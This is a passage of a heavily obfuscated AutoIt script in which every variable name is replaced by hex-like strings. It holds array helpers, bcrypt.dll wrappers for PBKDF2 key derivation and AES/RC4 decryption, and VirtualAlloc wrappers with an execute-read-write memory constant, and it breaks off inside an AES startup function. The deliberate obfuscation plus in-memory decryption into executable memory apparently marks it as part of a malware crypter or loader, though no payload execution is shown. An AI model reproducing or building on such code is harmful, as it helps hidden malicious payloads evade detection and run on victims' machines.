_ArrayVarIsVar($744AAF38C36C9E4E,$744CAF3AC3619E4E,$744C0F38336C9E4E) $744CAF3AC3619E4E+= 1 Else While $744AAF38C36C9E4E[$744CAF32C86C9E4E]>$744CAF36036C9E4E $744CAF32C86C9E4E-= 1 WEnd If $744AAF38C36C9E4E[$744CAF32C86C9E4E]<$744CAF36036C9E4E Then _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C4F38C36B9E4E,$744AAF38C36C9E4E,$744CAF3AC3619E4E) _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF3AC3619E4E,$744AAF38C36C9E4E,$744CAF32C86C9E4E) $744CAF3AC3619E4E+= 1 Else _ArrayVarIsVar($744AAF38C36C9E4E,$744C4F38C36B9E4E,$744CAF36036C9E4E) EndIf _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF32C86C9E4E,$744C0F38336C9E4E) $744CAF32C86C9E4E-= 1 EndIf $744C4F38C36B9E4E+= 1 WEnd __ArrayDualPivotSort($744AAF38C36C9E4E,$744CAF38A37C9E4E,$744CAF3AC3619E4E- 1 , True ) __ArrayDualPivotSort($744AAF38C36C9E4E,$744CAF32C86C9E4E+ 1 ,$744CA2E8C36C9E4E, False ) EndIf EndFunc Func __Array_ExeterInternal(ByRef $744AAF38C36C9E4E,$7443AF31C36C9E4E,$744C2F3FC36C9E4E,$744C8F28C36C9E4E, ByRef $744CAF08C3FC9E4E, ByRef $744CA838C36C9E4E, ByRef $744CE438C36C9E4E) If $7443AF31C36C9E4E==$744C2F3FC36C9E4E- 1 Then For $744CAF18C36C9E4E= 0 To $744C2F3FC36C9E4E- 1 $744CA838C36C9E4E[$744CE438C36C9E4E]&=$744AAF38C36C9E4E[$744CAF08C3FC9E4E[$744CAF18C36C9E4E]]&$744C8F28C36C9E4E Next If $744C8F28C36C9E4E<>"" Then $744CA838C36C9E4E[$744CE438C36C9E4E]=StringTrimRight($744CA838C36C9E4E[$744CE438C36C9E4E],StringLen($744C8F28C36C9E4E)) $744CE438C36C9E4E+= 1 Else Local $7447AF38C26C9E4E For $744CAF18C36C9E4E=$7443AF31C36C9E4E To $744C2F3FC36C9E4E- 1 _VarIsArrayVar($7447AF38C26C9E4E,$744CAF08C3FC9E4E,$744CAF18C36C9E4E) _ArrayVarIsArrayVar($744CAF08C3FC9E4E,$744CAF18C36C9E4E,$744CAF08C3FC9E4E,$7443AF31C36C9E4E) _ArrayVarIsVar($744CAF08C3FC9E4E,$7443AF31C36C9E4E,$7447AF38C26C9E4E) __Array_ExeterInternal($744AAF38C36C9E4E,$7443AF31C36C9E4E+ 1 ,$744C2F3FC36C9E4E,$744C8F28C36C9E4E,$744CAF08C3FC9E4E,$744CA838C36C9E4E,$744CE438C36C9E4E) _ArrayVarIsArrayVar($744CAF08C3FC9E4E,$7443AF31C36C9E4E,$744CAF08C3FC9E4E,$744CAF18C36C9E4E) _ArrayVarIsVar($744CAF08C3FC9E4E,$744CAF18C36C9E4E,$7447AF38C26C9E4E) Next EndIf EndFunc Func _WinAPI_IsBadReadPtr($744CA538D36C9E4E,$744C2F38436C9E4E) Local $744CAF32C38C9E4E=DllCall('kernel32.dll','bool','IsBadReadPtr','struct*',$744CA538D36C9E4E,'uint_ptr',$744C2F38436C9E4E) If @error Then Return SetError(@error,@extended, False ) Return $744CAF32C38C9E4E[0] EndFunc Func _WinAPI_IsBadWritePtr($744CA538D36C9E4E,$744C2F38436C9E4E) Local $744CAF32C38C9E4E=DllCall('kernel32.dll','bool','IsBadWritePtr','struct*',$744CA538D36C9E4E,'uint_ptr',$744C2F38436C9E4E) If @error Then Return SetError(@error,@extended, False ) Return $744CAF32C38C9E4E[0] EndFunc Func _WinAPI_MoveMemory($744CAF34CE6C9E4E,$7446A938C36C9E4E,$744C2F38436C9E4E) If _WinAPI_IsBadReadPtr($7446A938C36C9E4E,$744C2F38436C9E4E) Then Return SetError( 10 ,@extended, 0 ) If _WinAPI_IsBadWritePtr($744CAF34CE6C9E4E,$744C2F38436C9E4E) Then Return SetError( 11 ,@extended, 0 ) DllCall('ntdll.dll','none','RtlMoveMemory','struct*',$744CAF34CE6C9E4E,'struct*',$7446A938C36C9E4E,'ulong_ptr',$744C2F38436C9E4E) If @error Then Return SetError(@error,@extended, 0 ) Return 1 EndFunc Func _WinAPI_CopyStruct($744C9F38C36C9E4E,$744CAF38C33C9E4E='') Local $744C2F3FC36C9E4E=DllStructGetSize($744C9F38C36C9E4E) If Not $744C2F3FC36C9E4E Then Return SetError( 1 , 0 , 0 ) Local $744CAF3BB36C9E4E If Not StringStripWS($744CAF38C33C9E4E,$744CAD38CF6C9E4E+$744CAF3873AC9E4E+$7448AF31C36C9E4E) Then $744CAF3BB36C9E4E=DllStructCreate('byte['&$744C2F3FC36C9E4E&']') Else $744CAF3BB36C9E4E=DllStructCreate($744CAF38C33C9E4E) EndIf If DllStructGetSize($744CAF3BB36C9E4E)<$744C2F3FC36C9E4E Then Return SetError( 2 , 0 , 0 ) _WinAPI_MoveMemory($744CAF3BB36C9E4E,$744C9F38C36C9E4E,$744C2F3FC36C9E4E) Return $744CAF3BB36C9E4E EndFunc Global Enum $744CA538C3AC9E4E , $744CA238C30C9E4E , $744CCF38CB6C9E4E Global Enum $744CEFA8C36C9E4E , $744CAC38C3699E4E Global Enum $7440AF38C38C9E4E Global Const $744CAF38C96C9E4E = 192 Global Const $744CAF58C36C9E4E = 0x00000000 Global Const $744CAF18C36E9E4E = 0xC000000D Global Const $744DAF38C3AC9E4E = 0xC0000017 Global Const $7443AF38C36A9E4E = 0xC0000023 Global Const $744C0F38C34C9E4E = 0xC0000225 Global Const $744C1F88C36C9E4E = 0xC0000008 Global Const $744CAF3CE36C9E4E = 0xC000003E Global Const $744C4F38C33C9E4E = 0xC00000BB Global Const $744CCF38336C9E4E = 0x00000001 Global Const $744C8F38C31C9E4E = 0x00000008 Global Const $744CAF36C36C9E4E = "AES" Global Const $744CAF38136C9E4E = "RC4" Global Const $744CA438C36C9E4E = "SHA1" Global Const $744AAFD8C36C9E4E = "BlockLength" Global Const $744CAF38736C9E4E = "ChainingMode" Global Const $744CAF38936C9E4E = "ChainingModeCBC" Global Const $744CAD38C32C9E4E = "KeyLength" Global $7444AF38C35C9E4E = False Global $744CAF3BC36C9E4E = -1 Global $744CA138C36C9E4E = "" Func _CryptoNG_LastErrorMessage() Return $744CA138C36C9E4E EndFunc Func _CryptoNG_PBKDF2($744CAF38C35C9E4E,$744CAF38C3DC9E4E,$744C5F38C36C9E4E,$744C3F38C36C9E4E,$744C1F38C36C9E4E= Default,$744CA338C36C9E4E= Default) Local $744CAF38536C9E4E=-1 Local $744CAF38C38C9E4E=Binary("") If Mod($744C3F38C36C9E4E, 8 )<> 0 Then $744CA138C36C9E4E="Derived key length must be a multiple of 8." Return SetError(- 1 , 0 ,"") EndIf If $744CAF38C35C9E4E="" Then $744CA138C36C9E4E="Password cannot be blank." Return SetError(- 1 , 0 ,"") EndIf If Not ($744C5F38C36C9E4E> 0 ) Then $744CA138C36C9E4E="Number of iterations must be greater than 0." Return SetError(- 1 , 0 ,"") EndIf If $744CAF3BC36C9E4E=-1 Then __CryptoNG_Startup() If @error Then Return SetError( 1 ,@error,"") EndIf If $744C1F38C36C9E4E= Default Then _VarIsVar($744C1F38C36C9E4E,$744CA438C36C9E4E) If $744CA338C36C9E4E= Default Then $744CA338C36C9E4E="Microsoft Primitive Provider" $744CAF38536C9E4E=__CryptoNG_BCryptOpenHashAlgorithmProvider($744C1F38C36C9E4E, True ,$744CA338C36C9E4E) If @error Then Return SetError( 2 , 0 ,"") $744CAF38C38C9E4E=__CryptoNG_BCryptDeriveKeyPBKDF2($744CAF38536C9E4E,$744CAF38C35C9E4E,$744CAF38C3DC9E4E,$744C5F38C36C9E4E,$744C3F38C36C9E4E) If @error Then If $744CAF38536C9E4E<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($744CAF38536C9E4E) Return SetError( 3 , 0 ,"") EndIf If $744CAF38536C9E4E<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($744CAF38536C9E4E) Return $744CAF38C38C9E4E EndFunc Func __CryptoNG_BcryptCloseAlgorithmProvider($744CAF38C31C9E4E) Local $744CAF38C76C9E4E= 0 DllCall($744CAF3BC36C9E4E,"int","BCryptCloseAlgorithmProvider","handle",$744CAF38C31C9E4E,"ulong", 0 ) If @error Then $744CAF38C76C9E4E=@error $744CA138C36C9E4E=__CryptoNG_DllCallErrorMessage($744CAF38C76C9E4E) Return SetError( 1 ,$744CAF38C76C9E4E, False ) EndIf Return True EndFunc Func __CryptoNG_BCryptDecrypt($744CAF38F36C9E4E,$744CAF32C36C9E4E,$744CAF37C36C9E4E,$744CFF38C56C9E4E= True) Local $7446AF38C36C9E4E="",$744CAF36C36B9E4E="",$7449AF38C16C9E4E="",$744C9C38C36C9E4E="",$7445AE38C36C9E4E="" Local $744CA538C3CC9E4E= 0,$744CAF3CC36C9E4E= 0,$744CAF38C76C9E4E= 0,$744D1F38C36C9E4E= 0 Local $744CA838C36C9E4E[0] Local $744CAF98C3649E4E="" Local $744CA9F8C36C9E4E=Binary("") $744C9C38C36C9E4E=__CryptoNG_BCryptGetProperty($744CAF37C36C9E4E,$744CAD38C32C9E4E) If @error Then Return SetError( 1 , 0 ,"") $7445AE38C36C9E4E=_WinAPI_CopyStruct($744C9C38C36C9E4E,"ulong value") If $744CAF38F36C9E4E<>$744CAF38136C9E4E Then $744C9C38C36C9E4E=__CryptoNG_BCryptGetProperty($744CAF37C36C9E4E,$744AAFD8C36C9E4E) If @error Then Return SetError( 1 , 0 ,"") $7445AE38C36C9E4E=_WinAPI_CopyStruct($744C9C38C36C9E4E,"ulong value") $744CA538C3CC9E4E=$tUlong.value $744CA9F8C36C9E4E=Binary("") For $744CAF18C36C9E4E= 0 To $744CA538C3CC9E4E- 1 $744CA9F8C36C9E4E&=Binary(Chr($744CAF18C36C9E4E)) Next $7449AF38C16C9E4E=DllStructCreate(StringFormat("byte data[%i]",$744CA538C3CC9E4E)) DllStructSetData($7449AF38C16C9E4E,"data",$744CA9F8C36C9E4E) EndIf $7446AF38C36C9E4E=DllStructCreate(StringFormat("byte data[%i]",BinaryLen($744CAF32C36C9E4E))) DllStructSetData($7446AF38C36C9E4E,"data",Binary($744CAF32C36C9E4E)) $744CA838C36C9E4E=DllCall($744CAF3BC36C9E4E,"int","BCryptDecrypt","handle",$744CAF37C36C9E4E,"struct*",$7446AF38C36C9E4E,"ulong",DllStructGetSize($7446AF38C36C9E4E),"ptr", Null ,"struct*",($744CAF38F36C9E4E=$744CAF38136C9E4E)?( Null ):($7449AF38C16C9E4E),"ulong",($744CAF38F36C9E4E=$744CAF38136C9E4E)?( 0 ):(DllStructGetSize($7449AF38C16C9E4E)),"ptr", Null ,"ulong*", 0 ,"ulong*", Null ,"ulong",($744CAF38F36C9E4E=$744CAF38136C9E4E)?( 0 ):($744CCF38336C9E4E)) If @error Then $744CAF38C76C9E4E=@error $744CA138C36C9E4E=__CryptoNG_DllCallErrorMessage($744CAF38C76C9E4E) Return SetError( 2 ,$744CAF38C76C9E4E,"") EndIf _VarIsArrayVar($744CAF3CC36C9E4E,$744CA838C36C9E4E,0) _VarIsArrayVar($744D1F38C36C9E4E,$744CA838C36C9E4E,9) If $744CAF3CC36C9E4E<>$744CAF58C36C9E4E Then $744CA138C36C9E4E=__CryptoNG_StatusMessage($744CAF3CC36C9E4E) Return SetError( 3 ,$744CAF3CC36C9E4E,"") EndIf $744CAF36C36B9E4E=DllStructCreate(StringFormat("byte data[%i]",$744D1F38C36C9E4E)) $744CA838C36C9E4E=DllCall($744CAF3BC36C9E4E,"int","BCryptDecrypt","handle",$744CAF37C36C9E4E,"struct*",$7446AF38C36C9E4E,"ulong",DllStructGetSize($7446AF38C36C9E4E),"ptr", Null ,"struct*",($744CAF38F36C9E4E=$744CAF38136C9E4E)?( Null ):($7449AF38C16C9E4E),"ulong",($744CAF38F36C9E4E=$744CAF38136C9E4E)?( 0 ):(DllStructGetSize($7449AF38C16C9E4E)),"struct*",$744CAF36C36B9E4E,"ulong",DllStructGetSize($744CAF36C36B9E4E),"ulong*", Null ,"ulong",($744CAF38F36C9E4E=$744CAF38136C9E4E)?( 0 ):($744CCF38336C9E4E)) If @error Then $744CAF38C76C9E4E=@error $744CA138C36C9E4E=__CryptoNG_DllCallErrorMessage($744CAF38C76C9E4E) Return SetError( 2 ,$744CAF38C76C9E4E,"") EndIf _VarIsArrayVar($744CAF3CC36C9E4E,$744CA838C36C9E4E,0) $744CAF98C3649E4E=BinaryMid(DllStructGetData($744CAF36C36B9E4E,"data"), 1 ,$744CA838C36C9E4E[ 9 ]) If $744CFF38C56C9E4E Then $744CAF98C3649E4E=BinaryToString($744CAF98C3649E4E,$744C4F38C30C9E4E) If $744CAF3CC36C9E4E<>$744CAF58C36C9E4E Then $744CA138C36C9E4E=__CryptoNG_StatusMessage($744CAF3CC36C9E4E) Return SetError( 3 ,$744CAF3CC36C9E4E,"") EndIf Return $744CAF98C3649E4E EndFunc Func __CryptoNG_BCryptDeriveKeyPBKDF2($744CAF38536C9E4E,$744CAF38C35C9E4E,$744CAF38C3DC9E4E,$744C5F38C36C9E4E,$744CAF3EC36C9E4E) Local $744CA838C36C9E4E[0] Local $744CAF38C76C9E4E= 0,$744CAF3CC36C9E4E= 0 Local $744CAF38C3689E4E="",$744CAFA8C76C9E4E="",$744CFF38C36C9E4E="" Local $744CAF38C38C9E4E=Binary(""),$744CAF38506C9E4E=Binary(""),$7443AF38736C9E4E=Binary("") $744CAF38506C9E4E=StringToBinary($744CAF38C35C9E4E,$744C4F38C30C9E4E) $744CAF38C3689E4E=DllStructCreate(StringFormat("byte data[%i]",BinaryLen($744CAF38506C9E4E))) DllStructSetData($744CAF38C3689E4E,"data",$744CAF38506C9E4E) If IsString($744CAF38C3DC9E4E) Then $7443AF38736C9E4E=StringToBinary($744CAF38C3DC9E4E,$744C4F38C30C9E4E) Else $7443AF38736C9E4E=Binary($744CAF38C3DC9E4E) EndIf $744CAFA8C76C9E4E=DllStructCreate(StringFormat("byte data[%i]",BinaryLen($7443AF38736C9E4E))) DllStructSetData($744CAFA8C76C9E4E,"data",$7443AF38736C9E4E) $744CFF38C36C9E4E=DllStructCreate(StringFormat("byte data[%i]",$744CAF3EC36C9E4E/ 8 )) $744CA838C36C9E4E=DllCall($744CAF3BC36C9E4E,"int","BCryptDeriveKeyPBKDF2","handle",$744CAF38536C9E4E,"struct*",$744CAF38C3689E4E,"ulong",DllStructGetSize($744CAF38C3689E4E),"struct*",$744CAFA8C76C9E4E,"ulong",DllStructGetSize($744CAFA8C76C9E4E),"uint64",$744C5F38C36C9E4E,"struct*",$744CFF38C36C9E4E,"ulong",DllStructGetSize($744CFF38C36C9E4E),"ulong", 0 ) If @error Then $744CAF38C76C9E4E=@error $744CA138C36C9E4E=__CryptoNG_DllCallErrorMessage($744CAF38C76C9E4E) If $744CAF38536C9E4E<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($744CAF38536C9E4E) Return SetError( 1 ,$744CAF38C76C9E4E,"") EndIf _VarIsArrayVar($744CAF3CC36C9E4E,$744CA838C36C9E4E,0) If $744CAF3CC36C9E4E<>$744CAF58C36C9E4E Then $744CA138C36C9E4E=__CryptoNG_StatusMessage($744CAF3CC36C9E4E) Return SetError( 2 ,$744CAF3CC36C9E4E,"") EndIf $744CAF38C38C9E4E=DllStructGetData($744CFF38C36C9E4E,"data") Return $744CAF38C38C9E4E EndFunc Func __CryptoNG_BcryptDestroyKey($7443AF38CE6C9E4E) Local $744CAF38C76C9E4E= 0 DllCall($744CAF3BC36C9E4E,"int","BCryptDestroyKey","handle",$7443AF38CE6C9E4E) If @error Then $744CAF38C76C9E4E=@error $744CA138C36C9E4E=__CryptoNG_DllCallErrorMessage($744CAF38C76C9E4E) Return SetError( 1 ,$744CAF38C76C9E4E, False ) EndIf Return True EndFunc Func __CryptoNG_BCryptGenerateSymmetricKey($744CAF38536C9E4E,$744CDF38D36C9E4E) Local $744CAF38C76C9E4E= 0,$744CAF3CC36C9E4E= 0 Local $7440AF38C36C9E4E="" Local $744CA838C36C9E4E[0] Local $7443AF38CE6C9E4E=-1 Local $744CAF98C16C9E4E=Binary("") If IsString($744CDF38D36C9E4E) Then $744CAF98C16C9E4E=StringToBinary($744CDF38D36C9E4E,$744C4F38C30C9E4E) Else $744CAF98C16C9E4E=Binary($744CDF38D36C9E4E) EndIf $7440AF38C36C9E4E=DllStructCreate(StringFormat("byte data[%i]",BinaryLen($744CAF98C16C9E4E))) DllStructSetData($7440AF38C36C9E4E,"data",$744CAF98C16C9E4E) $744CA838C36C9E4E=DllCall($744CAF3BC36C9E4E,"int","BCryptGenerateSymmetricKey","handle",$744CAF38536C9E4E,"handle*", Null ,"ptr", Null ,"ulong", 0 ,"struct*",$7440AF38C36C9E4E,"ulong",DllStructGetSize($7440AF38C36C9E4E),"ulong", 0 ) If @error Then $744CAF38C76C9E4E=@error $744CA138C36C9E4E=__CryptoNG_DllCallErrorMessage($744CAF38C76C9E4E) Return SetError( 1 ,$744CAF38C76C9E4E,- 1 ) EndIf _VarIsArrayVar($744CAF3CC36C9E4E,$744CA838C36C9E4E,0) _VarIsArrayVar($7443AF38CE6C9E4E,$744CA838C36C9E4E,2) If $744CAF3CC36C9E4E<>$744CAF58C36C9E4E Then $744CA138C36C9E4E=__CryptoNG_StatusMessage($744CAF3CC36C9E4E) Return SetError( 2 ,$744CAF3CC36C9E4E,- 1 ) EndIf Return $7443AF38CE6C9E4E EndFunc Func __CryptoNG_BCryptGetProperty($744CA937C36C9E4E,$744CAF38933C9E4E) Local $744CAF38C76C9E4E= 0,$744CAF3CC36C9E4E= 0,$744CAB38236C9E4E= 0 Local $744CAF38C3809E4E="" Local $744CA838C36C9E4E[0] $744CA838C36C9E4E=DllCall($744CAF3BC36C9E4E,"int","BCryptGetProperty","handle",$744CA937C36C9E4E,"wstr",$744CAF38933C9E4E,"ptr", Null ,"ulong", 0 ,"ulong*", 0 ,"ulong", 0 ) If @error Then $744CAF38C76C9E4E=@error $744CA138C36C9E4E=__CryptoNG_DllCallErrorMessage($744CAF38C76C9E4E) Return SetError( 1 ,$744CAF38C76C9E4E,Binary("")) EndIf _VarIsArrayVar($744CAF3CC36C9E4E,$744CA838C36C9E4E,0) _VarIsArrayVar($744CAB38236C9E4E,$744CA838C36C9E4E,5) If $744CAF3CC36C9E4E<>$744CAF58C36C9E4E Then $744CA138C36C9E4E=__CryptoNG_StatusMessage($744CAF3CC36C9E4E) Return SetError( 2 ,$744CAF3CC36C9E4E,Binary("")) EndIf $744CAF38C3809E4E=DllStructCreate(StringFormat("byte data[%i]",$744CAB38236C9E4E)) $744CA838C36C9E4E=DllCall($744CAF3BC36C9E4E,"int","BCryptGetProperty","handle",$744CA937C36C9E4E,"wstr",$744CAF38933C9E4E,"struct*",$744CAF38C3809E4E,"ulong",DllStructGetSize($744CAF38C3809E4E),"ulong*", 0 ,"ulong", 0 ) If @error Then $744CAF38C76C9E4E=@error $744CA138C36C9E4E=__CryptoNG_DllCallErrorMessage($744CAF38C76C9E4E) Return SetError( 1 ,$744CAF38C76C9E4E,Binary("")) EndIf _VarIsArrayVar($744CAF3CC36C9E4E,$744CA838C36C9E4E,0) If $744CAF3CC36C9E4E<>$744CAF58C36C9E4E Then $744CA138C36C9E4E=__CryptoNG_StatusMessage($744CAF3CC36C9E4E) Return SetError( 2 ,$744CAF3CC36C9E4E,Binary("")) EndIf Return $744CAF38C3809E4E EndFunc Func __CryptoNG_BCryptOpenEncryptionAlgorithmProvider($744CAF38F36C9E4E,$744CA338C36C9E4E="Microsoft Primitive Provider") Local $744CA838C36C9E4E[0] Local $744CAF38C76C9E4E= 0,$744CAF3CC36C9E4E= 0 Local $744CAF38536C9E4E= 0 $744CA838C36C9E4E=DllCall($744CAF3BC36C9E4E,"int","BCryptOpenAlgorithmProvider","handle*", 0 ,"wstr",$744CAF38F36C9E4E,"wstr",$744CA338C36C9E4E,"ulong", 0 ) If @error Then $744CAF38C76C9E4E=@error $744CA138C36C9E4E=__CryptoNG_DllCallErrorMessage($744CAF38C76C9E4E) Return SetError( 2 ,$744CAF38C76C9E4E,- 1 ) EndIf _VarIsArrayVar($744CAF3CC36C9E4E,$744CA838C36C9E4E,0) _VarIsArrayVar($744CAF38536C9E4E,$744CA838C36C9E4E,1) If $744CAF3CC36C9E4E<>$744CAF58C36C9E4E Then $744CA138C36C9E4E=__CryptoNG_StatusMessage($744CAF3CC36C9E4E) Return SetError( 3 ,$744CAF3CC36C9E4E,- 1 ) EndIf Return $744CAF38536C9E4E EndFunc Func __CryptoNG_BCryptOpenHashAlgorithmProvider($744CAF38F36C9E4E,$744C6F38C36C9E4E= False,$744CA338C36C9E4E="Microsoft Primitive Provider") Local $744CA838C36C9E4E[0] Local $744CAF38C76C9E4E= 0,$744CAF3CC36C9E4E= 0 Local $744CAF38536C9E4E= 0 $744CA838C36C9E4E=DllCall($744CAF3BC36C9E4E,"int","BCryptOpenAlgorithmProvider","handle*", 0 ,"wstr",$744CAF38F36C9E4E,"wstr",$744CA338C36C9E4E,"ulong",($744C6F38C36C9E4E)?($744C8F38C31C9E4E):( 0 )) If @error Then $744CAF38C76C9E4E=@error $744CA138C36C9E4E=__CryptoNG_DllCallErrorMessage($744CAF38C76C9E4E) Return SetError( 2 ,$744CAF38C76C9E4E,- 1 ) EndIf _VarIsArrayVar($744CAF3CC36C9E4E,$744CA838C36C9E4E,0) _VarIsArrayVar($744CAF38536C9E4E,$744CA838C36C9E4E,1) If $744CAF3CC36C9E4E<>$744CAF58C36C9E4E Then $744CA138C36C9E4E=__CryptoNG_StatusMessage($744CAF3CC36C9E4E) Return SetError( 3 ,$744CAF3CC36C9E4E,- 1 ) EndIf Return $744CAF38536C9E4E EndFunc Func __CryptoNG_BCryptSetProperty($744CA937C36C9E4E,$744CAF38933C9E4E,$7448AF88C36C9E4E) Local $744CAF38C76C9E4E= 0,$744CAF3CC36C9E4E= 0 Local $744CA838C36C9E4E[0] Switch VarGetType($7448AF88C36C9E4E) Case "String" $744CA838C36C9E4E=DllCall($744CAF3BC36C9E4E,"int","BCryptSetProperty","handle",$744CA937C36C9E4E,"wstr",$744CAF38933C9E4E,"wstr",$7448AF88C36C9E4E,"ulong",BinaryLen($7448AF88C36C9E4E),"ulong", 0 ) Case Else $744CA138C36C9E4E="An unrecognized variable type was encountered in __CryptoNG_BCryptSetProperty () ("&VarGetType($7448AF88C36C9E4E)& _ ")" Return SetError(- 1 ,$744CAF38C76C9E4E, False ) EndSwitch If @error Then $744CAF38C76C9E4E=@error $744CA138C36C9E4E=__CryptoNG_DllCallErrorMessage($744CAF38C76C9E4E) Return SetError( 1 ,$744CAF38C76C9E4E, False ) EndIf _VarIsArrayVar($744CAF3CC36C9E4E,$744CA838C36C9E4E,0) If $744CAF3CC36C9E4E<>$744CAF58C36C9E4E Then $744CA138C36C9E4E=__CryptoNG_StatusMessage($744CAF3CC36C9E4E) Return SetError( 2 ,$744CAF3CC36C9E4E, False ) EndIf Return True EndFunc Func __CryptoNG_DllCallErrorMessage($744CAF38C76C9E4E) Local $744CDF3AC36C9E4E="" Switch $744CAF38C76C9E4E Case 1 $744CDF3AC36C9E4E="Unable to use the DLL file." Case 2 $744CDF3AC36C9E4E="Unknown return type." Case 3 $744CDF3AC36C9E4E="Function not found in the DLL file." Case 4 $744CDF3AC36C9E4E="Bad number of parameters." Case 5 $744CDF3AC36C9E4E="Bad parameter." Case Else $744CDF3AC36C9E4E="Unrecognized error. @error = "&$744CAF38C76C9E4E EndSwitch Return $744CDF3AC36C9E4E EndFunc Func __CryptoNG_Shutdown() If $744CAF3BC36C9E4E<>-1 Then DllClose($744CAF3BC36C9E4E) _VarIsNumber($744CAF3BC36C9E4E,-1) EndIf EndFunc Func __CryptoNG_Startup($744CCF38C32C9E4E= False) If $744CAF3BC36C9E4E=-1 Then If $744CCF38C32C9E4E Then $7444AF38C35C9E4E= True $744CAF3BC36C9E4E=DllOpen("bcrypt.dll") If $744CAF3BC36C9E4E=-1 Then $744CA138C36C9E4E="Unable to open bcrypt.dll" Return SetError( 1 , 0 , False ) EndIf OnAutoItExitRegister("__CryptoNG_Shutdown") EndIf Return SetError( 0 , 0 , True ) EndFunc Func __CryptoNG_StatusMessage($744CAF3CC36C9E4E) Local $744CAF38DC6C9E4E="" Switch $744CAF3CC36C9E4E Case $744CAF58C36C9E4E $744CAF38DC6C9E4E="The operation completed successfully. " Case $744CAF18C36E9E4E $744CAF38DC6C9E4E="An invalid parameter was passed to a service or function." Case $744DAF38C3AC9E4E $744CAF38DC6C9E4E="Not enough virtual memory or paging file quota is available to complete the specified operation." Case $744C0F38C34C9E4E $744CAF38DC6C9E4E="The object was not found." Case $7443AF38C36A9E4E $744CAF38DC6C9E4E="The buffer is too small to contain the entry." Case $744C1F88C36C9E4E $744CAF38DC6C9E4E="An invalid HANDLE was specified." Case $744CAF3CE36C9E4E $744CAF38DC6C9E4E="An error occurred in reading or writing data." Case $744C4F38C33C9E4E $744CAF38DC6C9E4E="The request is not supported." Case Else $744CAF38DC6C9E4E=StringFormat("Unrecognized status code. (%X)",$744CAF3CC36C9E4E) EndSwitch Return $744CAF38DC6C9E4E EndFunc Global Const $744CAF37CD6C9E4E = 0x00001000 Global Const $744CFFF8C36C9E4E = 0x00000040 Global Const $7443AF3DC36C9E4E = 0x00008000 Global Enum $744CA134C36C9E4E , $744CAF48C32C9E4E , $744CAF48C56C9E4E , $744CAF38C3669E4E , $7447A838C36C9E4E , $744CDF38B36C9E4E , $744CA333C36C9E4E Global Enum $744DAF38C3659E4E = 1, $744CAC38C3649E4E Global Enum $744CAF3843659E4E = 0, $744C1138C36C9E4E , $74445F38C36C9E4E , $744CDF38C34C9E4E Global Enum $744CAF31CC6C9E4E = 1, $744CAF38C26B9E4E , $744CAFF8C3629E4E , $7445AF38D36C9E4E , $744CAF38CF6D9E4E , $744C0F38C3669E4E , $744DAF38C3629E4E , $744CAF38C2659E4E , $744C3F38C3649E4E , $744CCF38B36C9E4E , $744CAC38C39C9E4E , $744CA938C32C9E4E , $744BEF38C36C9E4E , $744BAF38B36C9E4E , $744CAF38C3EA9E4E , $744EAF98C36C9E4E , $744CCF38C3AC9E4E , $744CBE38C36C9E4E , $744C3F38C3609E4E , $744DAF38C3699E4E , $744CAFEFC36C9E4E , $744CA138C66C9E4E , $744CAF38436E9E4E , $744CAFF1C36C9E4E , $744CAF386B6C9E4E , $7446AF38C36F9E4E , $744C3F38C35C9E4E , $744C6F38C35C9E4E Global Enum $744CAB38CC6C9E4E = 0, $744CAFD8C3FC9E4E , $744CAF3AC3FC9E4E , $7447AFA8C36C9E4E , $744CAF98C39C9E4E , $744CCF38C35C9E4E , $744C7F38C36F9E4E Global Enum $744CAF36C56C9E4E = 0, $744CAF48936C9E4E , $744CAF38A86C9E4E , $744CAB3AC36C9E4E , $744C7F38436C9E4E , $744CAFC8836C9E4E , $744C2F38336C9E4E , $7442AF38C36C9E4E , $744CAFA8CE6C9E4E Global Enum $74432F38C36C9E4E = 1, $744CA138036C9E4E , $744CA238336C9E4E , $744C4F38C56C9E4E , $744CAC38C31C9E4E , $744CAB38736C9E4E , $7448AF38C39C9E4E , $7440AF38C16C9E4E , $744CAF3823FC9E4E , $744C8F38C66C9E4E Func _MemVirtualAlloc($744CA538D36C9E4E,$744C2F3FC36C9E4E,$744CEF3BC36C9E4E,$744AAF38C46C9E4E) Local $744CA838C36C9E4E=DllCall("kernel32.dll","ptr","VirtualAlloc","ptr",$744CA538D36C9E4E,"ulong_ptr",$744C2F3FC36C9E4E,"dword",$744CEF3BC36C9E4E,"dword",$744AAF38C46C9E4E) If @error Then Return SetError(@error,@extended, 0 ) Return $744CA838C36C9E4E[0] EndFunc Func _MemVirtualFree($744CA538D36C9E4E,$744C2F3FC36C9E4E,$744CAF38C6CC9E4E) Local $744CA838C36C9E4E=DllCall("kernel32.dll","bool","VirtualFree","ptr",$744CA538D36C9E4E,"ulong_ptr",$744C2F3FC36C9E4E,"dword",$744CAF38C6CC9E4E) If @error Then Return SetError(@error,@extended, False ) Return $744CA838C36C9E4E[0] EndFunc Global $744C6F38C36E9E4E Global $744C1F38C3689E4E Global $744C0538C36C9E4E Global $744CAF64C36C9E4E Global $744CAD38536C9E4E Global $744FAF38E36C9E4E Global $744CFF38136C9E4E Global $744CAF38C1EC9E4E Global $744CAA38C30C9E4E Global $744CAFA8C16C9E4E Global $744A5F38C36C9E4E Global $744C2F38A36C9E4E Global $7447A738C36C9E4E Global $744CA83EC36C9E4E Global Const $744B7F38C36C9E4E = 0 Global Const $744CAF3EA36C9E4E = 1 Global Const $744CAD38C33C9E4E = 2 Func _AES_Exit() $744C6F38C36E9E4E= 0 _MemVirtualFree($744C1F38C3689E4E, 0 ,$7443AF3DC36C9E4E) EndFunc Func _AES_Startup() If @AutoItX64 Then Return False Local 